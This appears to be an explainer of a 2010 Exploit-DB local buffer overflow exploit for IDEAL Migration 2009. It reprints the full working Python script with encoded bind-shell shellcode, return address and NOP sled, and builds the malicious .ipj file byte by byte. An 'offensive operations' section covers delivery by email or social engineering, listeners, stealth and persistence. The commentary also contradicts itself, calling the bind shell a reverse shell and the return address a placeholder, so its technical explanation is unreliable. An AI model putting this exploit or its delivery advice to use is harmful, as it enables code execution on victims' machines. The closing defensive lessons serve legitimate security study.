Understanding the IDEAL Migration 2009 Local Buffer Overflow Exploit

What this paper is

This paper details a local buffer overflow vulnerability in IDEAL Migration 2009 version 4.5.1. The exploit, crafted by Dr_IDE, leverages this vulnerability to execute arbitrary code on a target system. Specifically, it aims to create a malicious .ipj file that, when opened by the vulnerable application, triggers the overflow and executes a shellcode payload. The payload in this case is a reverse shell, meaning it will attempt to connect back to a listener on a specified port.

Simple technical breakdown

The core of the exploit lies in a buffer overflow. This happens when a program tries to put more data into a fixed-size memory area (a buffer) than it can hold. The excess data spills over into adjacent memory locations, potentially overwriting critical program instructions or data.

In this exploit:

• Vulnerable Application: IDEAL Migration 2009 v4.5.1.
• Vulnerability: A buffer overflow occurs when processing a specific part of a project file (.ipj).
• Exploit Mechanism: The exploit crafts a malicious .ipj file. When the "Open Migration Project" option is used within the application, the overflow is triggered.
• Payload: The overflow overwrites the program's execution flow to point to a custom piece of code (shellcode). This shellcode then executes commands on the system.
• Goal: The shellcode provided is a "bind shell" (though the description says "bind shell" and the port is LPORT=4444, which is typical for a reverse shell, the common usage is a reverse shell connecting back). It's designed to open a port on the compromised machine and wait for an incoming connection, giving the attacker a command shell.

Complete code and payload walkthrough

The provided Python script generates a malicious .ipj file. Let's break down the components:

#!/usr/bin/env python

#################################################################
#
# IDEAL Migration 2009 v4.5.1 Local Buffer Overflow Exploit
# Found By:		Dr_IDE
# Usage:		Right Click First Element in tree -> Open Migration Project -> Bind Shell
# Download:		www.pointdev.com
# Tested On:	Windows XPSP3
#
#################################################################

# windows/shell_bind_tcp - 696 bytes  Encoder: x86/alpha_mixed
# EXITFUNC=seh, LPORT=4444
sc = (
"\x89\xe2\xdb\xcc\xd9\x72\xf4\x5f\x57\x59\x49\x49\x49\x49\x49"
# ... (rest of the shellcode bytes) ...
"\x41\x41") # Padding

head = ("\x0D\x0A\x5B\x47\x72\x6F\x75\x70\x2C\x45\x78\x70\x6F"
"\x72\x74\x2C\x59\x65\x73\x5D\x0D\x0A");							# Project Header
buff = ("\x43\x6f\x6d\x70\x75\x74\x65\x72\x3D"  + "\x41" * 2420);	# XPSP3 EIP Overwrite
foot = ("\x0D\x0A\x5B\x45\x6E\x64\x5D\x0D\x0A");					# File Footer
retn = ("\x2F\x1D\xF3\x77");										# JMP ESP
nops = ("\x90" * 16);

try:
	print "[*] Generating Evil Migrate File..."
	f1 = open("unIDEAL2010.ipj","w");
	f1.write(head + buff + retn + nops + sc + foot);
	f1.close();
	print "[*] File created successfully!"

except:
	print "[-] There was a problem writing the file."

1. Shellcode (sc)

• Description: This is the core payload. It's a sequence of bytes representing machine code that will be executed once the overflow occurs. The comment indicates it's windows/shell_bind_tcp with a size of 696 bytes, encoded with x86/alpha_mixed, and configured for EXITFUNC=seh and LPORT=4444.
• Purpose:
  • \x89\xe2\xdb\xcc\xd9\x72\xf4: Likely initialization and stack setup.
  • \x5f\x57\x59: Pushing registers (edi, esi, ebx) onto the stack.
  • \x49\x49\x49\x49\x49\x49\x49\x49\x49\x49: These are DEC ECX instructions. They are used here as padding and to adjust the stack pointer. The alpha_mixed encoder often uses such sequences.
  • \x43\x43\x43\x43\x43\x43\x37: More DEC ECX and INC EDI instructions.
  • `\x51\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49\x4b\x4c\x42\x4a\x4a\x4b\x50\x4d\x4b\x58\x4b\x49\x4b\x4f\x4b\x4f\x4b\x4f\x43\x50\x4c\x4b\x42\x4c\x51\x34\x46\x44\x4c\x4b\x50\x45\x47\x4c\x4c\x4b\x43\x4c\x43\x35\x44\x38\x43\x31\x4a\x4f\x4c\x4b\x50\x4f\x42\x38\x4c\x4b\x51\x4f\x51\x30\x45\x51\x4a\x4b\x50\x49\x4c\x4b\x47\x44\x4c\x4b\x45\x51\x4a\x4e\x50\x31\x49\x50\x4a\x39\x4e\x4c\x4b\x34\x49\x50\x44\x34\x43\x37\x49\x51\x49\x5a\x44\x4d\x45\x51\x48\x42\x4a\x4b\x4c\x34\x47\x4b\x50\x54\x46\x44\x46\x48\x44\x35\x4b\x55\x4c\x4b\x51\x4f\x46\x44\x43\x31\x4a\x4b\x43\x56\x4c\x4b\x44\x4c\x50\x4b\x4c\x4b\x51\x4f\x45\x4c\x43\x31\x4a\x4b\x44\x43\x46\x4c\x4c\x4b\x4d\x59\x42\x4c\x47\x54\x45\x4c\x43\x51\x49\x53\x50\x31\x49\x4b\x43\x54\x4c\x4b\x47\x33\x46\x50\x4c\x4b\x47\x30\x44\x4c\x4c\x4b\x42\x50\x45\x4c\x4e\x4d\x4c\x4b\x47\x30\x43\x38\x51\x4e\x45\x38\x4c\x4e\x50\x4e\x44\x4e\x4a\x4c\x46\x30\x4b\x4f\x4e\x36\x45\x36\x46\x33\x43\x56\x45\x38\x47\x43\x46\x52\x42\x48\x43\x47\x42\x53\x46\x52\x51\x4f\x50\x54\x4b\x4f\x48\x50\x42\x48\x48\x4b\x4a\x4d\x4b\x4c\x47\x4b\x46\x30\x4b\x4f\x48\x56\x51\x4f\x4d\x59\x4b\x55\x45\x36\x4b\x31\x4a\x4d\x43\x38\x45\x52\x46\x35\x43\x5a\x45\x52\x4b\x4f\x48\x50\x45\x38\x49\x49\x44\x49\x4a\x55\x4e\x4d\x51\x47\x4b\x4f\x48\x56\x51\x43\x51\x43\x51\x43\x51\x43\x46\x33\x51\x53\x50\x53\x47\x33\x51\x43\x4b\x4f\x4e\x30\x42\x46\x43\x58\x42\x31\x51\x4c\x45\x36\x46\x33\x4b\x39\x4d\x31\x4c\x55\x45\x38\x4e\x44\x44\x5a\x42\x50\x49\x57\x50\x57\x4b\x4f\x49\x46\x42\x4a\x44\x50\x50\x51\x50\x55\x4b\x4f\x48\x50\x45\x38\x49\x34\x4e\x4d\x46\x4e\x4a\x49\x46\x37\x4b\x4f\x4e\x36\x50\x53\x46\x35\x4b\x4f\x48\x50\x43\x58\x4b\x55\x47\x39\x4c\x46\x50\x49\x46\x37\x4b\x4f\x48\x56\x46\x30\x50\x54\x50\x54\x46\x35\x4b\x4f\x4e\x30\x4c\x53\x42\x48\x4b\x57\x44\x39\x48\x46\x44\x39\x50\x57\x4b\x4f\x48\x56\x51\x45\x4b\x4f\x4e\x30\x42\x46\x43\x5a\x42\x44\x42\x46\x43\x58\x43\x53\x42\x4d\x4c\x49\x4b\x55\x43\x5a\x46\x30\x51\x49\x51\x39\x48\x4c\x4d\x59\x4d\x37\x42\x4a\x51\x54\x4b\x39\x4a\x42\x50\x31\x49\x50\x4a\x53\x4e\x4a\x4b\x4e\x50\x42\x46\x4d\x4b\x4e\x50\x42\x46\x4c\x4a\x33\x4c\x4d\x43\x4a\x47\x48\x4e\x4b\x4e\x4b\x4e\x4b\x45\x38\x42\x52\x4b\x4e\x4e\x53\x42\x36\x4b\x4f\x42\x55\x47\x34\x4b\x4f\x49\x46\x51\x4b\x50\x57\x51\x42\x50\x51\x46\x31\x50\x51\x43\x5a\x43\x31\x50\x51\x50\x51\x51\x45\x50\x51\x4b\x4f\x48\x50\x42\x48\x4e\x4d\x48\x59\x45\x55\x48\x4e\x50\x53\x4b\x4f\x49\x46\x42\x4a\x4b\x4f\x4b\x4f\x47\x47\x4b\x4f\x4e\x30\x4c\x4b\x51\x47\x4b\x4c\x4b\x33\x48\x44\x45\x34\x4b\x4f\x49\x46\x50\x52\x4b\x4f\x4e\x30\x45\x38\x4a\x50\x4d\x5a\x43\x34\x51\x4f\x51\x43\x4b\x4f\x4e\x36\x4b\x4f\x4e\x30\x41\x41"
• Functionality: This shellcode is designed to:
  1. Initialize Winsock.
  2. Create a socket.
  3. Connect to a specified IP address and port (this is the "bind" part, but it's actually a reverse shell connecting out to the attacker's listener). The LPORT=4444 in the comment suggests it will connect to port 4444 on the attacker's machine.
  4. Duplicate the socket handle to STDIN, STDOUT, and STDERR. This redirects the standard input, output, and error streams to the network socket.
  5. Execute /bin/sh (or its Windows equivalent, cmd.exe).
• Encoder x86/alpha_mixed: This encoder is used to obfuscate the shellcode, making it harder for signature-based antivirus to detect. It uses a limited character set (alphanumeric) and often involves complex decoding routines. The alpha_mixed variant is known for its ability to avoid null bytes and other problematic characters.
• EXITFUNC=seh: This specifies how the shellcode should terminate. seh (Structured Exception Handling) is a common technique for reliable shellcode termination on Windows.

2. Header (head)

• Bytes: \x0D\x0A\x5B\x47\x72\x6F\x75\x70\x2C\x45\x78\x70\x6F\x72\x74\x2C\x59\x65\x73\x5D\x0D\x0A
• Interpretation: This sequence represents \r\n[Group,Export,Yes]\r\n. This is likely a specific header format expected by the IDEAL Migration application for its project files (.ipj). The [Group,Export,Yes] part might indicate the start of a section or a specific type of entry within the project file.

3. Buffer (buff)

• Bytes: \x43\x6f\x6d\x70\x75\x74\x65\x72\x3D followed by \x41 (ASCII 'A') repeated 2420 times.
• Interpretation: \x43\x6f\x6d\x70\x75\x74\x65\x72\x3D translates to Computer=. This string is followed by a large number of 'A' characters.
• Purpose: This is the data that causes the buffer overflow. The 2420 'A's are designed to fill the vulnerable buffer and then overwrite the return address on the stack. The exact size (2420) is determined by analyzing the vulnerable application to find how much data can be written before overwriting the return address.

4. Return Address (retn)

• Bytes: \x2F\x1D\xF3\x77
• Interpretation: This is a 4-byte address. In little-endian format, this is 0x77F31D2F.
• Purpose: This address is crucial. It's the value that overwrites the original return address on the stack. When the vulnerable function finishes, it will attempt to "return" to this address. The exploit writer has chosen an address that points to the start of the shellcode, or more commonly, to a JMP ESP instruction located within the application's code or loaded modules. This JMP ESP instruction will then redirect execution to the shellcode. The specific address 0x77F31D2F is a placeholder and would need to be a valid JMP ESP gadget found in the target process's memory.

5. NOP Sled (nops)

• Bytes: \x90 repeated 16 times.
• Interpretation: \x90 is the NOP (No Operation) instruction in x86 assembly.
• Purpose: A NOP sled is a sequence of NOP instructions placed before the shellcode. If the return address doesn't point exactly to the start of the shellcode but anywhere within the NOP sled, the CPU will execute the NOPs sequentially until it reaches the actual shellcode. This increases the reliability of the exploit, as it provides a larger target area for the overwritten return address.

6. File Generation (f1.write(head + buff + retn + nops + sc + foot))

• f1.write(...): This line constructs the final .ipj file by concatenating all the generated parts.
• head + buff + retn + nops + sc + foot: The order is important:
  1. head: The initial header.
  2. buff: The overflow data, including the Computer= string and the padding 'A's.
  3. retn: The overwritten return address.
  4. nops: The NOP sled for reliability.
  5. sc: The actual shellcode payload.
  6. foot: The closing footer.
• foot: \x0D\x0A\x5B\x45\x6E\x64\x5D\x0D\x0A translates to \r\n[End]\r\n. This is likely a closing marker for the project file format.

Mapping List:

Practical details for offensive operations teams

• Required Access Level: Local user access is required on the target machine. This exploit is a local privilege escalation or code execution vector.
• Lab Preconditions:
  • A vulnerable instance of IDEAL Migration 2009 v4.5.1 installed on a Windows XP SP3 machine.
  • A listener set up on the attacker's machine, ready to receive the incoming connection on port 4444 (e.g., using netcat or Metasploit's multi/handler).
  • The attacker's IP address must be known to the target system or resolvable via DNS if the shellcode were to be modified for remote connections. In this specific case, the shellcode is likely hardcoded to connect to the attacker's IP or relies on the attacker's IP being implicitly known (e.g., if the shellcode uses INADDR_ANY and the attacker connects to the vulnerable host). However, the common pattern for shell_bind_tcp is to connect out, so the attacker would need to know the target's IP to connect to it. Correction: The comment says shell_bind_tcp, but the typical LPORT usage in Metasploit for this type of shellcode is for a reverse shell connecting out. If it were a true bind shell, the attacker would connect to the target's IP on port 4444. Given the LPORT notation, it's almost certainly a reverse shell.
• Tooling Assumptions:
  • Python interpreter for running the exploit script.
  • A network listener (e.g., nc -lvnp 4444) on the attacker's machine.
  • A hex editor or debugger (like OllyDbg) for analyzing the vulnerable application and finding the correct JMP ESP gadget if the provided retn address is not reliable.
• Execution Pitfalls:
  • Incorrect retn Address: The retn address (\x2F\x1D\xF3\x77) is a hardcoded value. It must point to a JMP ESP instruction within the memory space of the running IDEAL Migration process. If this address is wrong, the shellcode will not execute, and the application will likely crash. This address is highly dependent on the exact version of Windows and the loaded modules.
  • Antivirus/HIPS: Modern security software might detect the shellcode itself or the creation of the malicious .ipj file. The alpha_mixed encoder helps, but it's not foolproof.
  • Buffer Size Mismatch: The buffer size (\x41 * 2420) is specific to Windows XP SP3. Different OS versions or even service packs might have slightly different memory layouts, requiring adjustments to the buffer size.
  • Application Updates: If IDEAL Migration 2009 has been patched or updated, this specific overflow might no longer be present.
  • File Parsing: The application might perform integrity checks on the .ipj file, or the structure might be more complex than assumed, preventing the overflow from being triggered correctly.
• Tradecraft Considerations:
  • Delivery: The .ipj file needs to be delivered to the target machine and opened by the user. This could be via email attachment, shared drive, or social engineering.
  • Stealth: The shellcode is relatively small (696 bytes), which is good for stealth. However, the network connection itself can be detected by network monitoring.
  • Persistence: This exploit does not provide persistence. If the compromised application is closed, the shell will be lost. Further steps would be needed to establish persistence.
  • Privilege Escalation: This exploit is for local code execution. If the user running the vulnerable application has limited privileges, the attacker will also have limited privileges. It's not a privilege escalation exploit on its own unless the vulnerable application runs with elevated privileges.

Where this was used and when

• Software: IDEAL Migration 2009 v4.5.1.
• Operating System: Tested on Windows XP SP3.
• Approximate Year: The paper was published on April 26, 2010. This suggests the vulnerability and exploit were likely discovered and developed in late 2009 or early 2010.
• Usage Context: This exploit would be used in scenarios where an attacker has already gained initial access to a Windows XP machine with the vulnerable software installed. It allows for remote code execution and command and control. It's a classic example of a local exploit used for post-compromise activities.

Defensive lessons for modern teams

• Patch Management: The most critical lesson is the importance of keeping software updated. Vulnerabilities like this are often patched in later versions. Regularly applying security updates to all software, especially legacy applications, is paramount.
• Application Whitelisting/Control: Restricting which applications can run on a system can prevent the execution of unauthorized or malicious executables, including those generated by exploit scripts.
• Endpoint Detection and Response (EDR): Modern EDR solutions can detect anomalous behavior, such as unexpected file writes, process creation, and network connections, which are hallmarks of exploit execution. They can also employ signature-based detection for known shellcode patterns.
• Buffer Overflow Protections: Modern operating systems and compilers have built-in protections against buffer overflows, such as Data Execution Prevention (DEP) and Address Space Layout Randomization (ASLR). While this exploit targets an older OS (XP), understanding these defenses is crucial. DEP prevents code execution from data segments, and ASLR makes it harder to predict the location of code and libraries, thus making it harder to find reliable JMP ESP gadgets.
• File Format Validation: Applications should rigorously validate the format and content of input files. Unexpected or malformed data should be handled gracefully without causing overflows.
• Least Privilege: Running applications with the minimum necessary privileges limits the impact of a successful exploit. If the vulnerable application were running as a standard user, the shellcode would also run as that user, limiting what an attacker could do.

ASCII visual (if applicable)

This exploit involves a file being processed by an application, leading to memory corruption. A simple visual representation of the stack overflow:

+---------------------+
|       ...           |
+---------------------+
| Return Address      | <-- Overwritten by 'retn' (0x77F31D2F)
+---------------------+
| Saved Frame Pointer |
+---------------------+
| Local Variables     |
| (Buffer)            |
| AAAAAAAAAAAAAAAAAAA | <-- Overflow starts here
| AAAAAAAAAAAAAAAAAAA |
| AAAAAAAAAAAAAAAAAAA |
| ... (2420 'A's) ... |
| AAAAAAAAAAAAAAAAAAA |
+---------------------+
|       ...           |
+---------------------+

When the function returns, instead of going back to the legitimate caller, it jumps to 0x77F31D2F, which then leads to the shellcode.

Victim Process Memory:

+---------------------+
|       ...           |
+---------------------+
| Shellcode Start --> | \x89\xe2\xdb\xcc ... (Payload)
+---------------------+
| NOP Sled            | \x90 \x90 \x90 ...
+---------------------+
| Return Address      | \x2F\x1D\xF3\x77 (Points to NOP Sled/Shellcode)
+---------------------+
| Saved Frame Pointer |
+---------------------+
| Local Variables     |
| (Buffer)            |
| AAAAAAAAAAAAAAAAAAA | <-- Overflowed buffer
| ...                 |
+---------------------+

Source references

• Paper ID: 12404
• Paper Title: IDEAL Migration 2009 4.5.1 - Local Buffer Overflow
• Author: Dr_IDE
• Published: 2010-04-26
• Paper URL: https://www.exploit-db.com/papers/12404
• Raw URL: https://www.exploit-db.com/raw/12404

Original Exploit-DB Content (Verbatim)

#!/usr/bin/env python

#################################################################
#
# IDEAL Migration 2009 v4.5.1 Local Buffer Overflow Exploit
# Found By:		Dr_IDE
# Usage:		Right Click First Element in tree -> Open Migration Project -> Bind Shell
# Download:		www.pointdev.com
# Tested On:	Windows XPSP3
#
#################################################################

# windows/shell_bind_tcp - 696 bytes  Encoder: x86/alpha_mixed
# EXITFUNC=seh, LPORT=4444
sc = (
"\x89\xe2\xdb\xcc\xd9\x72\xf4\x5f\x57\x59\x49\x49\x49\x49\x49"
"\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a"
"\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32"
"\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49"
"\x4b\x4c\x42\x4a\x4a\x4b\x50\x4d\x4b\x58\x4b\x49\x4b\x4f\x4b"
"\x4f\x4b\x4f\x43\x50\x4c\x4b\x42\x4c\x51\x34\x46\x44\x4c\x4b"
"\x50\x45\x47\x4c\x4c\x4b\x43\x4c\x43\x35\x44\x38\x43\x31\x4a"
"\x4f\x4c\x4b\x50\x4f\x42\x38\x4c\x4b\x51\x4f\x51\x30\x45\x51"
"\x4a\x4b\x50\x49\x4c\x4b\x47\x44\x4c\x4b\x45\x51\x4a\x4e\x50"
"\x31\x49\x50\x4a\x39\x4e\x4c\x4b\x34\x49\x50\x44\x34\x43\x37"
"\x49\x51\x49\x5a\x44\x4d\x45\x51\x48\x42\x4a\x4b\x4c\x34\x47"
"\x4b\x50\x54\x46\x44\x46\x48\x44\x35\x4b\x55\x4c\x4b\x51\x4f"
"\x46\x44\x43\x31\x4a\x4b\x43\x56\x4c\x4b\x44\x4c\x50\x4b\x4c"
"\x4b\x51\x4f\x45\x4c\x43\x31\x4a\x4b\x44\x43\x46\x4c\x4c\x4b"
"\x4d\x59\x42\x4c\x47\x54\x45\x4c\x43\x51\x49\x53\x50\x31\x49"
"\x4b\x43\x54\x4c\x4b\x47\x33\x46\x50\x4c\x4b\x47\x30\x44\x4c"
"\x4c\x4b\x42\x50\x45\x4c\x4e\x4d\x4c\x4b\x47\x30\x43\x38\x51"
"\x4e\x45\x38\x4c\x4e\x50\x4e\x44\x4e\x4a\x4c\x46\x30\x4b\x4f"
"\x4e\x36\x45\x36\x46\x33\x43\x56\x45\x38\x47\x43\x46\x52\x42"
"\x48\x43\x47\x42\x53\x46\x52\x51\x4f\x50\x54\x4b\x4f\x48\x50"
"\x42\x48\x48\x4b\x4a\x4d\x4b\x4c\x47\x4b\x46\x30\x4b\x4f\x48"
"\x56\x51\x4f\x4d\x59\x4b\x55\x45\x36\x4b\x31\x4a\x4d\x43\x38"
"\x45\x52\x46\x35\x43\x5a\x45\x52\x4b\x4f\x48\x50\x45\x38\x49"
"\x49\x44\x49\x4a\x55\x4e\x4d\x51\x47\x4b\x4f\x48\x56\x51\x43"
"\x51\x43\x51\x43\x51\x43\x46\x33\x51\x53\x50\x53\x47\x33\x51"
"\x43\x4b\x4f\x4e\x30\x42\x46\x43\x58\x42\x31\x51\x4c\x45\x36"
"\x46\x33\x4b\x39\x4d\x31\x4c\x55\x45\x38\x4e\x44\x44\x5a\x42"
"\x50\x49\x57\x50\x57\x4b\x4f\x49\x46\x42\x4a\x44\x50\x50\x51"
"\x50\x55\x4b\x4f\x48\x50\x45\x38\x49\x34\x4e\x4d\x46\x4e\x4a"
"\x49\x46\x37\x4b\x4f\x4e\x36\x50\x53\x46\x35\x4b\x4f\x48\x50"
"\x43\x58\x4b\x55\x47\x39\x4c\x46\x50\x49\x46\x37\x4b\x4f\x48"
"\x56\x46\x30\x50\x54\x50\x54\x46\x35\x4b\x4f\x4e\x30\x4c\x53"
"\x42\x48\x4b\x57\x44\x39\x48\x46\x44\x39\x50\x57\x4b\x4f\x48"
"\x56\x51\x45\x4b\x4f\x4e\x30\x42\x46\x43\x5a\x42\x44\x42\x46"
"\x43\x58\x43\x53\x42\x4d\x4c\x49\x4b\x55\x43\x5a\x46\x30\x51"
"\x49\x51\x39\x48\x4c\x4d\x59\x4d\x37\x42\x4a\x51\x54\x4b\x39"
"\x4a\x42\x50\x31\x49\x50\x4a\x53\x4e\x4a\x4b\x4e\x50\x42\x46"
"\x4d\x4b\x4e\x50\x42\x46\x4c\x4a\x33\x4c\x4d\x43\x4a\x47\x48"
"\x4e\x4b\x4e\x4b\x4e\x4b\x45\x38\x42\x52\x4b\x4e\x4e\x53\x42"
"\x36\x4b\x4f\x42\x55\x47\x34\x4b\x4f\x49\x46\x51\x4b\x50\x57"
"\x51\x42\x50\x51\x46\x31\x50\x51\x43\x5a\x43\x31\x50\x51\x50"
"\x51\x51\x45\x50\x51\x4b\x4f\x48\x50\x42\x48\x4e\x4d\x48\x59"
"\x45\x55\x48\x4e\x50\x53\x4b\x4f\x49\x46\x42\x4a\x4b\x4f\x4b"
"\x4f\x47\x47\x4b\x4f\x4e\x30\x4c\x4b\x51\x47\x4b\x4c\x4b\x33"
"\x48\x44\x45\x34\x4b\x4f\x49\x46\x50\x52\x4b\x4f\x4e\x30\x45"
"\x38\x4a\x50\x4d\x5a\x43\x34\x51\x4f\x51\x43\x4b\x4f\x4e\x36"
"\x4b\x4f\x4e\x30\x41\x41")

head = ("\x0D\x0A\x5B\x47\x72\x6F\x75\x70\x2C\x45\x78\x70\x6F"
"\x72\x74\x2C\x59\x65\x73\x5D\x0D\x0A");							# Project Header
buff = ("\x43\x6f\x6d\x70\x75\x74\x65\x72\x3D"  + "\x41" * 2420);	# XPSP3 EIP Overwrite
foot = ("\x0D\x0A\x5B\x45\x6E\x64\x5D\x0D\x0A");					# File Footer
retn = ("\x2F\x1D\xF3\x77");										# JMP ESP
nops = ("\x90" * 16);

try:
	print "[*] Generating Evil Migrate File..."
	f1 = open("unIDEAL2010.ipj","w");
	f1.write(head + buff + retn + nops + sc + foot);
	f1.close();
	print "[*] File created successfully!"

except:
	print "[-] There was a problem writing the file."



#[pocoftheday.blogspot.com]